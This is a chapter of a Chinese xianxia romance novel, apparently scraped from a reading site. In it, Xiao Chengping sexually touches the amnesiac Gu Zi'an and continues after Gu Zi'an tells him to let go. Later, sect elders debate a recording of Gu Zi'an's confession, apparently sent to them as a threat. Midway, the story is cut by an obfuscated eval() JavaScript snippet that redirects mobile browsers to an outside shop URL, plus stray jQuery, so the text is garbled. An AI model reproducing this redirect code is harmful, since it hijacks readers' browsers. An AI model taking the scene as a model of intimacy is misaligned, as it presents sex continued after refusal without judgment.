窗外晚风轻拂檐角铜铃,送来几声细碎轻响,转瞬又消融在静谧的长夜中,四下静谧得只剩屋内一缕摇曳的灯火,悠悠映着一室光景。
顾子安坐在床上抱着被子,他长长的眼睫轻轻垂着,覆下一层浅浅的阴影,眼底蒙着一层朦胧的倦意,神色软糯又带着几分无措的怔忡。
顾子安看着端坐看书的萧承平,茫然道:“现在已经很晚了,我要睡觉了,你怎么还不走。”
萧承平放下书册,摇曳的灯火自侧方漫淌而来,照亮他瓷白如玉的脸庞,细细描摹出他清绝的眉眼。
萧承平看向顾子安,眼中有一团幽幽的光亮:“夫君,你要和我分开吗?”
顾子安被这声夫君一叫,心中立刻软了下来,心中涌现出一点亏欠。
他微微倾身,指尖轻抬,温柔拍了拍身侧空着的柔软床榻。眉眼弯弯,褪去了方才的茫然局促,染上几分慵懒又勾人的笑意,眸光潋滟,盛满了烛火细碎的微光。
而后他指尖微曲,对着案前静坐的人,轻轻勾了勾手指。
眼梢微微一挑,眼波流转间抛去一个秋波,声音软酥慵懒,带着几分纵容,漾着浅浅笑意:“那你过来呀。”
萧承平放大的俊脸立刻出现在顾子安眼前,萧承平从善如流道:“我来了。”
温热的呼吸缠绕在一起,房中光影悠悠,为两人身上镀上暖光,顾子安棱角分明的下颌线在这暖光里变得柔和,他的眼神也变得柔和。
萧承平静静凝望着近在咫尺的人,心头轰然一震,瞬时浸满漫天的恍惚与怅然。
此情此景,恍然如梦,竟生出一种恍如隔世的绵长心绪。
萧承平屏息凝眸,任由顾子安温柔的目光牢牢包裹住自己,心口滚烫的热度顺着血脉肆意蔓延,顺着肌理一路往下。
周身的感官被无限放大,眼前人的眉眼、呼吸、温柔的神色尽数撞入心底,搅得他心绪翻涌,浑身燥热紧绷。
无人窥见的衣袍之下,身体已然不受克制地生出了隐秘的悸动,沉沉的燥热悄然滋生,带着不受控制的紧绷与滚烫,衬得他望着顾子安的眼眸,愈发幽深暗沉,翻涌着克制不住的缱绻与贪恋。
不知道到底是谁在勾引谁。
萧承平躺在床上,盖上被子,身旁的那人散发出不可忽视的热量。
萧承平被窝里的手指与顾子安的大腿若有似无的触碰。
顾子安盖着被子呆望天花板,“萧承平,我们是什么时候成亲的?”
萧承平被这个问题打得措手不及,他的手指僵在顾子安的大腿上,脑海里闪过了很多个瞬间,最终定格在了他们彻底分道扬镳的那个午后。
“永明九十九年十二月二十九日。”
萧承平永远忘不了那一天。
“哇,是凡间的过年诶,应该很热闹吧。”
萧承平涩声道:“非常热闹。”
“有很多人为我们祝贺吗?我的父亲母亲,还有你的父亲母亲都到场了吗?”
萧承平哑然:“我们的父亲都到了。”
“啊?”顾子安摩挲下巴,失落道:“顾真也到了?他居然同意我离开怀宁来到商云。”
顾子安侧身,两只手环抱在萧承平身上,寻觅安全感。
顾真就这么容不下我吗?
顾子安将头贴在萧承平的胸膛,聆听萧承平的心跳。
“现在怀宁宗主是谁?是我那流落在外的弟弟吗?”
弟弟?
萧承平脊背瞬间发麻,他放在顾子安大腿摩挲的手不自觉加重了力道:“你知道你还有个流落在外的弟弟?”
顾子安现在只有十七岁的记忆,可是萧承平知道顾子安有个流落在外的弟弟,并且将这个弟弟顾放送到怀宁兴风作浪的事情已经是近百年之后的事情了。
如果顾子安十七岁的时候就知道他有个流落在外的弟弟,那他之后的报复算什么?笑话吗?
顾子安的大腿向外挪动,企图逃离萧承平越来越用力的手,“你弄疼我了,撒手。”
萧承平的手离开了他的大腿,来到了另一个不可言说的地方。
顾子安的声调都变了:“你干嘛?撒手!”
萧承平非但不撒手,反而越来越过分,顾子安弓起脊背,衣襟绷起一道流畅优美的弧线。
顾子安面上吃不住的潮红,桃花眼中水色氤氲,口中溢出细碎的呜咽。
在烟花即将绽放的时刻,萧承平猝然停下了动作,顾子安从高峰一下子跌落谷底,随即被来势汹汹的空虚淹没。
顾子安目光茫然,萧承平抬起他的下巴,含住他的嘴唇,撬开他的齿关长驱直入。
顾子安还是觉得难受,他伸手企图自己疏解,萧承平半道截胡了他的手,与之十指相扣。
萧承平另一只手有一下没一下的弄,他诱导道:“顾子安,叫我的名字。”
顾子安喃喃:“萧承平……”
“说我爱你。”
“我、爱你。”
不久烟花如愿绽放。
顾子安抬手给了萧承平一耳光,他眼尾泛红,生气但是没有任何威慑力。
萧承平的脸侧到一边,他舌头抵腮,喜怒不定地看向顾子安,顾子安被他看得有些发毛。
顾子安心道:草率了,顾子安你说说你,你现在都打不过他你打他干嘛呀,小心他一下子把给你掐死了。
他以为下一刻萧承平反手就要打回来,人在屋檐下不得不低头,顾子安已经做好了打不还手骂不还口的准备。
谁知萧承平捂住脸,眼中含泪:“你打我?”
顾子安:“……对不起,谁叫你刚才那样对我的。”
顾子安只觉自己身心皆是矛盾,大抵是真的病了。
顾子安的身体很矛盾,他大抵是病了,对于萧承平的触碰,他既期盼也抗拒。
他始终参不透自己的心境,既抵抗不住对萧承平的痴迷爱恋,又忍不住想要拳脚加身弄死萧承平。
他不知道自己是怎么了。
*
“萧承平……我、爱你。”
桌案上的传音符此起彼伏重复这句直截了当的告白,告白的背景有些杂乱,隐约可闻凌乱的呼吸声和啧啧水声。
三个面色凝重的人围住桌案。
涂明白道:“今天凌晨,无数传音符从怀宁天空飘散,传音符里只录了这么一句话。”
顾微手里拿着一张传音符,她勾着脑袋,险些要将眼睛落进去,手中翻来覆去地看这张留音符,注入灵力捏诀审查,符纸时而金光大作时而黯淡无光。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17853689|211867||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>最后顾微下了结论:“这就是一张普通留音符,声音是真的。符篆笔画规整严肃,有商云萧氏的风格。”
顾泽霜道:“这是顾子安的声音吗?他难道落在了商云萧氏手中?”
顾泽霜在蔚白找剑呢,据薛徽所说,剑是落在了雪地里,他找得心烦意乱,正准备和顾飞星打道回府就收到了怀宁的紧急传唤。
顾泽霜道:“可如果顾子安真的到了商云,该担心道难道不是商云萧氏吗?”
涂明白道:“我只怕子安的无情道心危矣,萧愈一直不择手段想要毁了子安的无情道心。”
顾泽霜道:“这点我还是有信心的,顾子安看着风流处处留情,实则根本无心。”
涂明白道:“话虽如此,可是萧愈可以失败无数次,子安只能失败一次。”
顾微道:“可是之前顾子安不是也碎过无情道心吗?三天之内就捡起来了。”
涂明白站起身来,透过层峦起伏的群山,看向远在万里之外的商云方向。
“可是事不过三,我只怕这次子安捡不起来了。子安看着潇洒浪荡,实则是个极其重情重义的性情中人。”
顾微道:“所以商云传信来,是在威胁我们吗?那萧承平也忒不要脸了吧,这些上不得台面东西也能拿来威胁?真是无所不用其极。”
顾微道:“可是这玩意儿谁也没法确定究竟是不是顾子安的声音,要是是假的我们信了,岂不是被牵着鼻子走?”
顾泽霜道:“就算是真的,那又如何?顾子安什么时候要我们来救我们来护了?大家不要关心则乱,有这时间还不如多关心关心我的玲珑去哪儿了。”
顾微不厚道地笑了:“你还没找到你的剑呢?看来它不想跟你,我听说剑修的剑就像道侣,看来它没看上你,是不是因为你事儿精一个,大男人还娇滴滴的,所以被狠狠嫌弃了?”
顾泽霜道:“我哪里娇滴滴了?我非常威武雄壮!”
顾微撇嘴,勾手去摸顾泽霜的白衣服。
顾泽霜灵活闪身避开,大词小用道:“我只是比较洁身自好。”
顾微拉长声音:“哦——”
涂明白看师弟师妹又吵吵闹闹,感受到了片刻安心。
可是……涂明白垂眸,顾子安几乎是他拉扯长大的,他难道不知道顾子安的声音吗?这绝对是顾子安。
涂明白不知道萧承平在谋划算计什么,萧承平城府深心思重,怎么想的叫人捉摸不透。
这么多年来,怀宁派过去的间谍从来没有达到二把手三把手的位置。
萧承平很沉得住气,这些年来,专心攻略顾子安的无情道心,其它领域从未与怀宁争过,这才是最可怕的地方,对手清晰地知道自己的目标,而怀宁却不知道商云所图为何。
顾子安纵然天纵奇才,纵然是当今无情剑道第一人,可他只有一个人,怎么抵得过千军万马?
怀宁除了顾子安还有数不尽的能人志士,商云为何只咬着顾子安不放呢?
涂明白曾经有个很荒谬的猜测:这个世人口中的渊清玉絜高风亮节恭谨谦和的明熠尊者,或许骨子里是个异常狂傲自大的人。
狂傲自大到偌大的怀宁偌大的修真界,他只看得起顾子安一个人,除了顾子安,其他人一概入不了他的眼。